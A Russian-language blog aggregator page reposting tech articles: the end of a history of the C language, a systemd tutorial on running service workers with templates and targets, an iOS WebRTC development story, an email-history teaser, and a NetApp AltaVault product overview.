(Combined Programming Language). Язык CPL посчитали сложным, и в ответ на это Мартином Ричардсоном был создан в 1966 году язык BCPL, основное предназначение которого заключалось в написании компиляторов. Сейчас он практически не используется, но в своё время из-за хорошей портируемости он играл важную роль. BCPL использовался в начале 1970-х в нескольких интересных проектах, в числе которых — операционная система OS6 и частично в зарождающихся разработках Xerox PARC. BCPL послужил предком для языка Би (B), разработанного в 1969 в уже знакомой всем AT&T Bell Telephone Laboratories, не менее знакомыми Кеном Томпсоном и Деннисом Ритчи. Как и остальные операционные системы того времени, UNIX был написан на ассемблере. Отладка программ на ассемблере настоящая мука. Томпсон решил, что для дальнейшей разработки ОС необходим язык высокого уровня и придумал небольшой язык B. За основу Томпсон взял язык BCPL. Язык B можно рассматривать как C без типов. Во многих деталях BCPL, B и C различаются синтаксически, но в основном они похожи. Программы состоят из последовательности глобальных деклараций и объявлений функций (процедур). В BCPL процедуры могут быть вложенными, но не могут ссылаться на нестатические объекты определённые в содержащих их процедурах. B и C избегают такого ограничения, вводя более строгое: вложенных процедур нет вообще. Каждый из языков (за исключением самых древних версий B) поддерживает раздельную компиляцию и предоставляет средства для включения текста из именованных файлов. В противоположность повсеместному изменению синтаксиса, которое происходило во время создания B, основная семантика BCPL — его структура типов и правила вычисления выражений — осталась нетронутой. Оба языка — безтиповые, вернее имеют единственный тип данных — «слово» или «ячейка», набор битов фиксированной длины. Память в этих языках — массив таких ячеек, а смысл содержимого ячейки зависит от операции, которая к ней применяется. Например, оператор "+" просто складывает свои операнды при помощи машинной инструкции add, и другие арифметические операции также безразличны к смыслу своих операндов. Ни BCPL, ни B, ни C не выделяют в языке символьные данные; они считают строки векторами целых чисел и дополняют общие правила несколькими соглашениями. И в BCPL, и в B строковый литерал означает адрес статической области инициализированный символами строки упакованными в ячейки. Как создавался Си В 1970 Bell Labs приобрела для проекта компьютер PDP-11. Так как B был готов к работе на PDP-11, Томпсон переписал часть UNIX на B. Но модель B и BCPL подразумевала издержки при работе с указателями: правила языка, определяя указатель как индекс в массиве слов, делали указатели индексами слов. Каждое обращение к указателю при исполнении генерировало масштабирование указателя в адрес байта, который ожидал процессор. Поэтому становилось ясно, что для того, чтобы справиться с символами и байтовой адресацией, а также подготовиться к грядущей аппаратной поддержке вычислений с плавающей точкой, нужна типизация. В 1971 году Ритчи начал создавать расширенную версию B. Сначала он назвал её NB (New B), но когда язык стал сильно отличаться от B, название сменили на C. Вот что, писал об этом сам Ритчи: Я хотел, чтобы структура не только характеризовала абстрактный объект, но и описывала набор бит, который мог быть прочитан из каталога. Где компилятор смог бы спрятать указатель, наname, которого требует семантика? Даже если бы структуры были бы задуманы более абстрактными, и место для указателей могло бы быть спрятано где-нибудь, как бы я решил техническую проблему корректной инициализации этих указателей при выделении памяти для сложного объекта, возможно структуры содержащей массивы, которые содержат структуры, и так до произвольной глубины? Решение состояло в решительном скачке в эволюционной цепочке между безтиповым BCPL и типизированным C. Он исключал материализацию указателя в хранилище, а вместо этого порождал его создание, когда имя массива упоминалось в выражении. Правило, которое сохранилось и в сегодняшнем C, состоит в том, что значения–массивы, когда они упоминаются в выражении, конвертируются в указатели на первый из объектов, составляющих этот массив. Второе нововведение, которое наиболее ясно отличает C от его предшественников, — вот эта более полная структура типов и особенно её выразительность в синтаксисе деклараций. NB предлагал основные типы int и char совместно с массивами из них и указателями на них, но никаких других способов скомпоновать их. Требовалось обобщение: для объекта любого типа должно быть возможным описать новый объект, который объединяет несколько таких объектов в массив, получает его из функции или является указателем на него. Изображение из книги «Язык Си»: M. Уэйт, С. Прата, Д. Мартин Для любого объекта такого составного типа, уже был способ указать на объект, который является его частью: индексировать массив, вызвать функцию, использовать с указателем оператор косвенного обращения. Аналогичное рассуждение приводило к синтаксису объявления имён, который отражает синтаксис выражения, где эти имена используются. Так int i, *pi, **ppi;объявляет целое, указатель на целое и указатель на указатель на целое. Синтаксис этих объявлений отражает тот факт, что i, *pi, и **ppi все в результате дают тип int, когда используются в выражении. Похожим образом int f(), *f(), (*f)();объявляют функцию, возвращающую целое, функцию возвращающую указатель на целое, указатель на функцию возвращающую целое; int *api[10], (*pai)[10];объявляют массив указателей на целое, указатель на массив целых. Во всех этих случаях объявление переменной напоминает её использование в выражении, чей тип – это то, что находится в начале объявления. 70-е годы: «смутное время» и лже-диалекты Язык к 1973 стал достаточно стабилен для того, чтобы на нём можно было переписать UNIX. Переход на C обеспечил важное преимущество: переносимость. Написав компилятор C для каждой из машин в Bell Labs, команда разработчиков могла портировать на них UNIX. По поводу возникновения языка Си Питер Мойлан в своей книге «The case against C» пишет: «Нужен был язык, способный обойти некоторые жесткие правила, встроенные в большинство языков высокого уровня и обеспечивающие их надежность. Нужен был такой язык, который позволил бы делать то, что до него можно было реализовать только на ассемблере или на уровне машинного кода». C продолжил развиваться в 70-х. В 1973–1980-х годах язык немного подрос: структура типов получила беззнаковые, длинные типы, объединение и перечисление, структуры стали близкими к объектам–классам (не хватало только нотации для литералов). Первая книга по Cи. Книга «Язык программирования Си», написанная Брайаном Керниганом и Деннисом Ритчи и опубликованная в 1978 году, стала библией программистов на Си. При отсутствии официального стандарта эта книга – известная также как K&R, или «Белая Книга», как любят называть поклонники си – фактически стала стандартом. Изображение с сайта learnc.info В 70-х программистов на Cи было немного и большинство из них были пользователями UNIX. Тем не менее, в 80-х Cи вышел за узкие рамки мира UNIX. Компиляторы Cи стали доступны на различных машинах, работающих под управлением разных операционных систем. В частности, Си стал распространяться на быстро развивающейся платформе IBM PC. K&R ввёл следующие особенности языка: • структуры (тип данных struct); • длинное целое (тип данных long int); • целое без знака (тип данных unsigned int); • оператор > K&R C часто считают самой главной частью языка, которую должен поддерживать компилятор Си. Многие годы даже после выхода ANSI Cи он считался минимальным уровнем, которого следовало придерживаться программистам, желающим добиться от своих программ максимальной переносимости, потому что не все компиляторы тогда поддерживали ANSI C, а хороший код на K&R C был верен и для ANSI C. Вместе с ростом популярности появились проблемы. Программисты, писавшие новые компиляторы брали за основу язык, описанный в K&R. К сожалению, в K&R некоторые особенности языка были описаны расплывчато, поэтому компиляторы часто трактовали их на своё усмотрение. Кроме того, в книге не было чёткого разделения между тем, что является особенностью языка, а что особенностью операционной системы UNIX. После публикации K&R C в язык было добавлено несколько возможностей, поддерживаемых компиляторами AT&T, и некоторых других производителей: • функции, не возвращающие значение (с типом void), и указатели, не имеющие типа (с типом void *); • функции, возвращающие объединения и структуры; • имена полей данных структур в разных пространствах имён для каждой структуры; • присваивания структур; • спецификатор констант (const); • стандартная библиотека, реализующая большую часть функций, введённых различными производителями; • перечислимый тип (enum); • дробное число одинарной точности (float). Ухудшало ситуацию и то, что после публикации K&R Си продолжал развиваться: в него добавлялись новые возможности и из него вырезались старые. Вскоре появилась очевидная необходимость в исчерпывающем, точном и соответствующем современным требованиям описании языка. Без такого стандарта стали появляться диалекты языка, которые мешали переносимости – сильнейшей стороне языка. Стандарты В конце 1970-х годов, язык Си начал вытеснять BASIC, который в то время был ведущим в области программирования микрокомпьютеров. В 1980-х годах он был адаптирован под архитектуру IBM-PC, что привело к значительному скачку его популярности. Разработкой стандарта языка Си занялся Американский национальный институт стандартов (ANSI). При нём в 1983 году был сформирован комитет X3J11, который занялся разработкой стандарта. Первая версия стандарта была выпущена в 1989 году и получила название С89. В 1990, внеся небольшие изменения в стандарт, его приняла Международная Организация Стандартизации ISO. Тогда он стал известен под кодом ISO/IEC 9899:1990, но в среде программистов закрепилось название, связанное с годом принятия стандарта: С90. Последней на данный момент версией стандарта является стандарт ISO/IEC 9899:1999, также известный как С99, который был принят в 2000 году. Среди новшеств стандарта С99 стоит обратить внимание на изменение правила, касающегося места объявления переменных. Теперь новые переменные можно было объявлять посреди кода, а не только в начале составного блока или в глобальной области видимости. Некоторые особенности C99: • подставляемые функции (inline); • объявление локальных переменных в любом операторе программного текста (как в C++); • новые типы данных, такие, как long long int (для облегчения перехода от 32- к 64-битным числам), явный булевый тип данных _Bool и тип complex для представления комплексных чисел; • массивы переменной длины; • поддержка ограниченных указателей (restrict); • именованная инициализация структур: struct { int x, y, z; } point = { > • поддержка однострочных комментариев, начинающихся на //, заимствованных из C++ (многие компиляторы Си поддерживали их и ранее в качестве дополнения); • несколько новых библиотечных функций, таких, как snprintf; • несколько новых заголовочных файлов, таких, как stdint.h. Стандарт С99 сейчас в большей или меньшей степени поддерживается всеми современными компиляторами языка Си. В идеале, код написанный на Си с соблюдением стандартов и без использования аппаратно- и системно-зависимых вызовов, становился как аппаратно- так и платформенно-независимым кодом. В 2007 году начались работы над следующим стандартом языка Си. 8 декабря 2011 опубликован новый стандарт для языка Си (ISO/IEC 9899:2011). Некоторые возможности нового стандарта уже поддерживаются компиляторами GCC и Clang. Основные особенности С11: • поддержка многопоточности; • улучшенная поддержка Юникода; • обобщенные макросы (type-generic expressions, позволяют статичную перегрузку); • анонимные структуры и объединения (упрощают обращение ко вложенным конструкциям); • управление выравниванием объектов; • статичные утверждения (static assertions); • удаление опасной функции gets (в пользу безопасной gets_s); • функция quick_exit; • спецификатор функции _Noreturn; • новый режим эксклюзивного открытия файла. Несмотря на наличие стандарта 11 года, многие компиляторы до сих пор не поддерживают полностью даже версии C99. За что критикуют Си У него достаточно высокий порог вхождения, что затрудняет его использование в обучении в качестве первого языка программирования. Программируя на Си, нужно учитывать множество деталей. «Будучи рождён в среде хакеров, он стимулирует соответствующий стиль программирования, часто небезопасный, и поощряющий написание запутанного кода», пишет Википедия. Более глубокую и аргументированную критику высказал Питер Мойлан. Он посвятил критике Си целых 12 страниц. Приведем пару фрагментов: Проблемы с модульностьюМодульное программирование на языке Си возможно, но лишь в том случае, когда программист придерживается ряда довольно жестких правил: • На каждый модуль должен приходиться ровно один header-файл. Он должен содержать лишь экспортируемые прототипы функций, описания и ничего другого (кроме комментариев). • Внешней вызывающей процедуре об этом модуле должны быть известны только комментарии в header-файле. • Для проверки целостности каждый модуль должен импортировать свой собственный header-файл. • Для импорта любой информации из другого модуля каждый модуль должен содержать строки #include, а также комментарии, показывающие, что, собственно, импортируется. • Прототипы функций можно использовать только в header-файлах. (Это правило необходимо, поскольку язык Си не имеет механизма проверки того, что функция реализуется в том же модуле, что и ее прототип; так что использование прототипа может маскировать ошибку «отсутствия функции» — «missing function»). • Любая глобальная переменная в модуле, и любая функция, кроме той, что импортируется через header-файл, должны быть объявлены статическими. • Следует предусмотреть предупреждение компилятора «вызов функции без прототипа» (function call without prototype); такое предупреждение всегда нужно рассматривать как ошибку. • Программист должен удостовериться в том, что каждому прототипу, заданному в header- файле, соответствует реализованная под таким же именем в том же модуле неприватная (т.е. нестатическая в обычной терминологии Си) функция. К сожалению, природа языка Си автоматическую проверку этого делает невозможной. • Следует с подозрением относиться к любому использованию утилиты grep. Если прототип расположен не на своем месте, то это, скорее всего, ошибка. • В идеале программисты, работающие в одной команде, не должны иметь доступа к исходным файлам друг друга. Они должны совместно использовать лишь объектные модули и header-файлы. Очевидная трудность в том, что мало кто будет следовать этим правилам, ибо компилятор не требует их неукоснительно соблюдать. Модульный язык программирования по меньшей мере частично защищает хороших программистов от того хаоса, который создают плохие программисты. А язык Си этого сделать не в силах. Изображение с сайта smartagilee.com Проблемы с указателямиНесмотря на все достижения в теории и практике структур данных, указатели остаются для программистов настоящим камнем преткновения. На работу с указателями приходится значительная часть времени, расходуемого на отладку программы, и именно они создают большинство проблем, осложняющих ее разработку. Можно различать важные и неважные указатели. Важным в нашем понимании считается указатель, необходимый для создания и поддержания структуры данных. Указатель считается неважным, если он не является необходимым для реализации структуры данных. В типичной программе на языке Си неважных указателей намного больше, чем важных. Причины тому две. Первая состоит в том, что в среде программистов, использующих язык Си, стало традицией создавать указатели даже там, где уже существуют иные ничем не уступающие им методы доступа, например, при просмотре элементов массива. Вторая причина — правило языка Си, согласно которому все параметры функций должны передаваться по значению. Когда вам нужен эквивалент VAR-параметра языка Паскаль или inout- параметра языка Ada, единственное решение состоит в том, чтобы передать указатель. Этим во многом объясняется плохая читаемость программ на языке Си. Ситуация усугубляется, когда бывает необходимо передать важный указатель в качестве входного/выходного параметра. В этом случае функции надо передать указатель на указатель, что создает затруднения даже для самых опытных программистов. Си – жив Согласно данным на июнь 2016 года, индекс TIOBE, который измеряет рост популярности языков программирования, показал, что C занимает 2 место: Пусть кто-то скажет, что Си устарел, что его широкое распространение — следствие удачи и активного PR. Пусть кто-то скажет, что без UNIX язык Си никогда бы не создали. Тем не менее, Си стал своего рода стандартом. Он, так или иначе, прошел испытание временем в отличие от многих других языков. Си-разработчики до сих пор востребованы, а создателей языка IT-сообщество вспоминает добрым словом.

Метки:  

Запуск worker'ов сервиса с помощью systemd

Четверг, 23 Июня 2016 г. 19:36 + в цитатник
После выхода Ubuntu 16.04 (новый LTS релиз), systemd стал реальностью всех основных дистрибутивов Linux, использующихся на серверах. Это означает, что можно закладываться на расширенные возможности systemd, не рискуя оставить часть пользователей приложения «за бортом». Этот пост о том, как реализовать многоворкерное приложение средствами systemd. Abstract: Использование шаблонов сервисов и target'ов для запуска нескольких инстансов сервиса (реализация «воркеров»). Зависимость PartOf. Немного про [install] секцию у unit'ов. Вступление Многие языки программирования с плохой или никакой многопоточностью (Python, Ruby, PHP, довольно часто C/C++) используют концепцию «воркера». Вместо того, чтобы городить сложные отношения между тредами внутри приложения, они запускают несколько однопоточных копий приложения, каждое из которых берёт на себя кусок нагрузки. Благодаря опции SO_REUSEPORT есть даже возможность «вместе» слушать на одном и том же порту, что покрывает большинство задач, в которых возникает потребность в воркерах (собственно, обычные серверные приложения, реализующие API или обслуживающие веб-сайт). Но такой подход требует наличия «супервизора», который отвечает за запуск копий, следит за их состоянием, обрабатывает ошибки, завершает при всякого рода stop/reload и т.д. При кажущейся тривиальности — это совершенно не тривиальная задача, полная нюансов (например, если один из воркеров попал в TASK_UNINTERRUPTIBLE или получил SIGSTOP, то могут возникнуть проблемы при restart у не очень хорошо написанного родителя). Есть вариант запуска без супервизора, но в этом случае задача reload/restart перекладывается на администратора. При модели «один процесс на ядро» перезапуск сервиса на 24-ядерном сервере становится кандидатом в автоматизацию, которая в свою очередь требует обработки всех тех же самых SIGSTOP и прочих сложных нюансов. Одним из вариантов решения проблемы является использование шаблонов сервисов systemd вместе с зависимостью от общего target'а. Теория Шаблоны systemd поддерживает «шаблоны» для запуска сервисов. Эти шаблоны принимают параметр, который потом можно вставить в любое место в аргументах командной строки (man systemd.service). Параметр передаётся через символ '@' в имени сервиса. Часть после '@' (но до точки) называется 'instance name', кодируется %i или %I. Полный список параметров — www.freedesktop.org/software/systemd/man/systemd.unit.html#Specifiers. Наличие '@' в имени сервиса (перед точкой) указывает на то, что это шаблон. Попробуем написать простейший template: /etc/systemd/system/foobar-worker@.service [Unit] > И запустим несколько таких: systemctl start foobar-worker@1 systemctl start foobar-worker@2 systemctl start foobar-worker@300 Смотрим: ps aux|grep sleep root 13313 0.0 0.0 8516 748 ? Ss 17:29 0:00 /bin/sleep 3600 1 root 13317 0.0 0.0 8516 804 ? Ss 17:29 0:00 /bin/sleep 3600 2 root 13321 0.0 0.0 8516 764 ? Ss 17:29 0:00 /bin/sleep 3600 300 Теперь мы хотим каким-то образом запускать всех их общим образом. Для этого существуют target'ы Target'ы Target — это такой юнит systemd, который ничего не делает, но может использоваться как элемент зависимостей (target может зависеть от нескольких сервисов, или сервисы могут зависеть от target'а, который так же зависит от сервисов). target'ы имеют расширение .target. Напишем наш простейший target: vim /etc/systemd/system/foobar.target [Unit] > (внимание на .service, оно обязательно!) Про 'Wants' мы поговорим чуть ниже. Теперь мы можем запускать все три foobar-worker одновременно: systemctl start foobar.target (внимание на target — в случае с .service его можно опускать, в случае с .target — нет). В списке процессов появилось три sleep'а. К сожалению, если мы сделаем systemctl stop foobar.target, то они не исчезнут, т.е. на «worker'ов» они мало похожи. Нам надо как-то объединить в единое целое target и worker'ов. Для этого мы будем использовать зависимости. Зависимости Systemd предоставляет обширнейший набор зависимостей, позволяющий описать что именно мы хотим. Нас из этого списка интересует 'PartOf'. До этого мы использовали wants. Сравним их поведение: Wants (который мы использовали) — упомянутый сервис пытается стартовать, если основной юнит стартует. Если упомянутый сервис упал или не может стартовать, это не влияет на основной сервис. Если основной сервис выключается/перезапускается, то упомянутые в зависимости сервисы остаются незатронутыми. PartOf — Если упомянутый выключается/перезапускается, то основной сервис так же выключется/перезапускается. Как раз то, что нам надо. Добавляем зависимость в описание воркера: <pre> [Unit] > Всё. Если мы сделаем systemd stop foobar.target, то все наши воркеры остановятся. Install-зависимости Ещё одна интереснейшая фича systemd — install-зависимости. В sysv-init была возможность enable/disable сервисов, но там было очень трудно объяснить, как именно надо делать enable. На каких runlevel'ах? С какими зависимостями? В systemd всё просто. Когда мы используем команду 'enable', то сервис «добавляется» (через механизм slice'ов) в зависимость к тому, что мы указали в секции [install]. Для нашего удобства есть зависимость WantedBy, которая по смыслу обратная к Wanted. Есть куча стандартных target'ов, к которым мы можем цепляться. Вот некоторые из них (все — man systemd.special): * multi-user.target (стандартное для «надо запуститься», эквивалент финального runlevel'а для sysv-init). * default.target — алиас на multi-user * graphical.target — момент запуска X'ов Давайте прицепимся к multi-user.target. Новое содержимое foobar.target: [Unit] > Теперь, если мы его сделаем enable: # systemctl enable foobar.target Created symlink /etc/systemd/system/multi-user.target.wants/foobar.target > /etc/systemd/system/foobar.target. Всё, наш сервис, слепленный из нескольких worker'ов готов запуску/перезапуску как единое целое, плюс его будут запускать при старте нашего компьютера/сервера.
????????? Winter Nights 2014

Метки:  

[Из песочницы] Мой опыт использования WebRTC в iOS приложении

Вторник, 21 Июня 2016 г. 20:09 + в цитатник
WebRTC (англ. Real-time communications — коммуникации в реальном времени) — проект с открытым исходным кодом, предназначенный для организации передачи потоковых данных между браузерами или другими поддерживающими его приложениями по технологии точка-точка. Для полного понимания статьи рекомендую ознакомиться с основными принципами работы технологии тут. Как я пришел к необходимости использования WebRTC Задача проекта: Представим, что нам требуется соединить двух случайных пользователей между собой для передачи real-time потокового видео друг другу. Какие есть варианты решения проблемы? Вариант 1: Организовывать подключение двух пользователей к серверу как к источнику и приемнику видео потока и ждать от него получения видео от собеседника. Минусы: Дорогостоящее оборудование сервера Малая расширяемость из-за ограниченности ресурсов сервера Время задержки видео увеличено из-за посредника Плюсы: Нет проблем с выбором пользователя и подключением к нему — это за нас делает сервер Вариант 2: Подключаться к пользователю напрямую, образуя тоннель для передачи данных “междусобойчиком”, заведомо получив информацию об этом пользователе от сервера. Минусы: Длительная операция подключения двух пользователей Сложность создания peer-to-peer подключения Сложности с протоколом NAT для передачи данных напрямую Требуется несколько серверов для создания подключения Плюсы: Разгрузка серверов Сервер может перестать работать, но видео не прервется Качество изображения напрямую зависит от качества канала передачи данных у пользователей Возможность использования end-to-end шифрования Управление подключением лежит в руках пользователей Также задача состояла в том, чтобы сделать это максимально бюджетно, без серьезных нагрузок на сервер. Было принято решение использовать вариант под номером 2. После усердных поисков по интернету и over9000 уйму потраченного времени я наткнулся на технологию WebRTC, которая предлагала решить минусы, которые я выявил в процессе анализа подходов к решению проблемы. Реализация Начался второй этап поиска. На нем я наткнулся на много различных платных библиотек, которые предлагали мне решить мою проблему, нашел очень много материалов о WebRTC, но реализации для iOS найти мне не удавалось. Затем случайно я зашел на git ядра для браузера от Google и заметил там папку под названием “WebRTC”, в которой было несколько файлов и две папки: “Android” и “iOS”. Зайдя в папку, которая мне была симпатична более другой, я обнаружил массу исходных файлов библиотеки и папку “Example”, в которой находился проект под названием “AppRTC”. Я немедленно запустил этот проект у себя на устройстве и на втором iOS девайсе, который был под рукой, и мне удалось соединить их и пообщаться с самим собой на двух телефонах. Самым быстрым способом интегрирования видео-чата в мое приложение, которое уже имело некоторые функции (регистрация, авторизация), я видел наложением “AppRTC” примера на свое приложение, чем я и принялся заниматься. В это время в ходе проекта настал этап, когда нужно было реализовывать серверную часть для приложения. Решили найти пример серверов для “AppRTC”, а еще убили много времени с разработчиком серверной части на отладку сервера и на то, чтобы “подружить” сервер с клиентом. В конечном итоге все в “сервисе” было разделено на две части: Авторизация, регистрация, фильтр поиска собеседников, настройки, покупки и так далее; Видео-чат. Разработка шла, но после того, как началась отладка я столкнулся с тем, что библиотека абсолютно нестабильна, происходят постоянные разрывы соединения, плохое качество видео, использование процессора устройства на 120%, низкая частота обновления кадров и многое другое. Было потрачено много времени на оптимизацию, но к реальному результату это не привело: были незначительные изменения в скорости работы, но все равно не торт. Также очень много ресурсов требовал кодек VP8, а поддержки других на тот момент у сервиса не было. Пришла мысль обновить библиотеку полностью. После переделки 80% написанного до обновления кода он все еще не работал, а пример не был обновлен до актуальной версии. Серверная часть так же отказалась работать с новой версией библиотеки. Решением оказалось не использовать свой сервер для WebRTC. То есть сервер самого приложения только лишь анализировал подключенных к нему пользователей и предлагал им соединиться, после этого приложения начинали работать с сервером самого “AppRTC” и все взаимодействия с передачей пакетов, STUN и TURN серверами проходило там. Так же пришлось все переписывать до актуальной версии в приложении своими силами. Во время этого я заметил, что было добавлено шифрование данных, которые передавались между пользователями, и интегрирован кодек H264, который значительно снизил нагрузку на устройство и дал прирост в количестве кадров в секунду. Был проведен полный рефакторинг кода видео-чата и приложение заработало еще быстрее и стало юзабельнее. В результате оптимизации кода, библиотека была вынесена в отдельный “Pod” сюда. Заключение Задача была решена, мы получили приложение, которое соединяет двух случайных пользователей, которые его скачали и запустили, между собой. Практически без материальных затрат реализован видео-чат на новых технологиях, и качество видео напрямую зависит от пропускной способности интернет канала у пользователей. Было разработано и представлено несколько решений по оптимизации работы самой библиотеки “AppRTC” и они были отправлены разработчикам.

Метки:  

[Перевод] От инструмента общения ученых до мирового стандарта: Краткая история электронной почты

Понедельник, 20 Июня 2016 г. 20:40 + в цитатник
Электронная почта – это революция в мире коммуникации и, в то же время, тяжкое бремя современных работников. Фото: агенство Getty Images

В нашем блоге мы уже рассказывали о том, почему электронная почта не умрет никогда и всегда останется отличным средством коммуникации для обычных пользователей и компаний. Настало время внимательнее изучить историю феномена email.

5 марта 2016 года ушел из жизни Рэй Томлинсон, человек, который предложил использовать символ «@» (at-sign) в электронных адресах, но его изобретение, позволяющее электронным сообщениям заполонить интернет и наши почтовые ящики, будет жить. В этом материале мы расскажем о том, с чего начинал Томлинсон, и об эволюции электронной почты за последние полвека. Читать дальше >

Метки:  

Системы хранения данных NetApp AltaVault

Воскресенье, 19 Июня 2016 г. 23:04 + в цитатник
Традиционные облачные решения для резервного копирования и восстановления данных часто уже не устраивают предприятия в силу ряда причин. Компания NetApp предлагает сегодня своим клиентам линейку решений класса Cloud-Integrated Storage семейства AltaVault. Сначала ? о причинах, по которым современные предприятия уже не устраивают наследуемые системы резервного копирования и восстановления данных класса on-premise (расположенные на локальной площадке самого предприятия). 1. Они оказываются слишком медленными. Пользователи всегда ожидают мгновенного восстановления и минимальной потери данных при этом, но наследуемые стратегии резервного копирования и восстановления (legacy backup and recovery strategies) уже не идут в ногу со временем. 2. Они слишком дороги. Объемы критичных корпоративных данных быстро растут. Компании всеми доступными средствами стараются бороться с возрастающей стоимостью защиты данных в своих on-premise системах. Кроме того, по мере роста объемов данных все более значимыми становятся затраты на обеспечение необходимой полосы пропускания и на борьбу с другими ограничениями. 3. Они подвергаются слишком многим рискам. Многие организации все еще полагаются на системы хранения с магнитными лентами. Такой подход представляется сегодня несовершенным из-за потенциальных рисков потери части данных при записи-восстановлении, относительно большого времени простоя ленточных систем и их ограниченной способности к тестированию. 4. Они слишком сложны. Число критичных корпоративных приложений, которые нуждаются в защите, также увеличивается. Повышается сложность backup-архитектуры для многочисленных приложений. Наследуемые технологии также склонны к накоплению ошибок. Поэтому традиционные локальные системы резервного копирования становятся излишне сложными. Как AltaVault решает проблемы резервного копирования, архивирования и восстановления NetApp AltaVault (ранее SteelStore) обеспечивает предприятиям надежное и безопасное резервное копирование в облаке любого типа и любого провайдера, снижая при этом издержки до 90% по сравнению с локальными решениями. Конструктив физического устройства AVA 400 / 800 AltaVault дает клиентам возможность получить все преимущества облачной экономики, защищая при этом уже сделанные инвестиции в корпоративную резервную инфраструктуру и соответствуя соглашениям о качестве сервисов резервного копирования и восстановления (Service Level Agreements, SLAs). Как обеспечивается эффективность решений AltaVault За счет лучшего в индустрии сжатия данных. AltaVault использует дедупликацию и сжатие «на лету», что обеспечивает сжатие данных до 30:1. Это означает, что предприятие хранит в облаке меньше данных в реальном объеме и может перемещать их быстрее. За счет оптимизации сети и облака. Встроенная WAN-оптимизация уменьшает объем транспортируемых данных, что ускоряет время обмена данными с облаком до четырех раз. Таким образом, AltaVault разумно (intelligently) еще больше сжимает трафик, что экономит деньги и время. При этом заданное качество сервисов (Quality of Services, QoS) обеспечивает, чтобы данные перемещались в/из облака на той скорости, которую требует бизнес. За счет быстрого восстановления данных. AltaVault улучшает восстанавливаемость, поскольку 95% данных остаются в локальном кэше. Со своими интеллектуальными преднастройками (intelligent prefetching), AltaVault восстанавливает данные из облака в течение минут. Так, с AltaVault клиенты могут восстановить свои данные до 32 раз быстрее, чем с ленточными накопителями. Использование NetApp AltaVault дает предприятиям следующие преимущества. 1. Корпоративное масштабирование на открытой платформе Гибкое развертывание и масштабирование. Клиент выбирает наиболее подходящий для себя вариант развертывания ? облачный (Azure, AWS и др.) виртуальный (VMware, Hyper-V и др.) или физический (AVA). Линейка устройств семейства AltaVault начинается всего с 2 TB (младшая виртуальная модель AVA-v2) и расширяются до 57 PB (старшая физическая модель AVA-800) защищенных данных в облаке. Это делает решения AltaVault наиболее масштабируемыми, интегрируемыми с облаком хранилищами данных (cloud-integrated storage) на рынке. Технические спецификации в режиме Backup Технические спецификации в режиме Cold Storage 2. Дедупликация, сжатие и шифрование NetApp AltaVault обеспечивает бесшовную интеграцию используемых корпоративных приложений и облачных сервисов, предоставляемых провайдерами. Совместимость с существующим Backup-ПО. Решения на основе AltaVault совместимы со всеми ведущими резервными и архивными программными продуктами, включая EMC, Symantec, IBM и Commvault. Предприятия не тратят время понапрасну на устранение разрывов и замену ПО, ? так же, как и на переобучение IT-персонала. Выбор облака и «проворность» (agility). Клиент может предпочитать любое облако, ? поскольку AltaVault, как правило, поддерживает его. AltaVault сегодня поддерживает 95% ведущих облачных провайдеров и платформ, которые присутствуют на рынке. Облачные провайдеры появляются и исчезают, и предприятия не хотят быть привязанным к какому-либо одному из них. Универсальность AltaVault позволяет устранить зависимость от единственного провайдера. 3. «Бронированная» безопасность и соблюдение регулятивных норм (compliance) Шифрование и соответствие нормам. Данные шифруются и безопасны во всех случаях ? и на каждом устройстве, и во время трафика. Типично используется 256-битное шифрование AES, совместимое с новейшей спецификацией FIPS 140-2 Level 1 и промышленным стандартом шифрования TLS. Ключами шифрования можно управлять локально с помощью протокола KMIP, ? и, фактически, никогда не покидать собственный информационный центр. Управление доступом к данным. Сотрудники предприятия могут получать доступ к данным в AltaVault в соответствии с основанными на ролях средствами управления доступом и интеграцией с Terminal Access Controller Access Control System (TACACS) и Remote Authentication Dial In User Service (RADIUS). Для этого используются соответствующие списки контроля доступа, дающие пользователям и обслуживающему персоналу доступ к определенным протоколам, портам и сетям. Сокращение времени восстановления и потерь данных. Сокращение времени восстановления (Recovery Time Objective, RTO), достигается за счет использования локального кэша AltaVault. Готовность к аварийным ситуациям. Время и порядок восстановления локальных рабочих нагрузок определяются во время тестов системы на восстановление или на основе возможностей AWS / Azure при работе с AltaVault. 4. Максимально легкое развертывание и управление Более быстрое развертывание. Запустить систему на основе AltaVault типично можно менее чем за 30 минут. Весь процесс сведен к трем простым шагам, после осуществления которых можно начать отсылать данные в облако в рабочем режиме. Более «умное» управление. AltaVault ориентирована на сокращение времени работы с ленточными накопителями и задачами, требующими ручного управления, ? которые подвержены ошибкам и трудоемки. Удаленные управление и мониторинг сведены в приборную панель (dashboard) с соответствующим GUI и обеспечивают полный контроль администраторов, независимо от того, где они находятся физически ? в любом месте как своего предприятия, так и в любом уголке мира, где есть канал интернет. Сервис и поддержка мирового уровня. Профессиональные сервисы от NetApp и ее партнеров относятся как к инфраструктуре, построенной на основе решений компании, так и к гетерогенной окружающей среде. Это обеспечивает оптимизированное решение, которое соответствует определенным потребностям предприятия. Служба поддержки помогает клиенту достичь непрерывных операций (continuous operations), эксплуатационного превосходства (operational excellence), и повысить эффективность стоимости (cost efficiency). 5. AltaVault снижает барьеры входа для облачного хранения данных Многие организации с энтузиазмом принимают облачную экономику, но довольно скоро сталкиваются с рядом препятствий. AltaVault как устройство хранения данных, интегрированное с облаком (cloud-integrated storage appliance), изначально было разработано, чтобы помочь клиентам преодолеть эти барьеры. Поддержка безопасности и соблюдения норм в среде со многими провайдерами. Организации не могут рисковать своими данными или данными их клиентов. NetApp AltaVault разработана так, чтобы обеспечивать выполнение облачной стратегии, ? надежно защищая данные и удовлетворяя требованиям безопасности. Простое управление большими объемами данных, даже при ограниченной полосе пропускания. Средства дедупликации AltaVault в одном из примеров уменьшили объем данных строительной компании, загружаемый в облако, почти в шесть раз ? с 39 TB до 7 TB, и все данные были перенесены в Azure за одну неделю. Быстрый доступ к данным. Большое преимущество AltaVault состоит в том, насколько быстро с этим устройством можно восстанавливать данные. С лентами такой скорости и полноты достичь невозможно. С AltaVault полное восстановление может быть сделано в течение часа или двух, ? и из любого местоположения. Примечания См. также дополнительную информацию по AltaVault и NetApp Professional and Support Services. Решение доступно по ссылке http://www.netapp.com/us/forms/altavault-fy15q4-m1.aspx в демо-режиме без ограничения функционала на 90 дней, после истечения пробного периода все данные будут доступны только на чтение.

Метки:  

Поиск сообщений в dunleadisc
Страницы: [2] 1 Календарь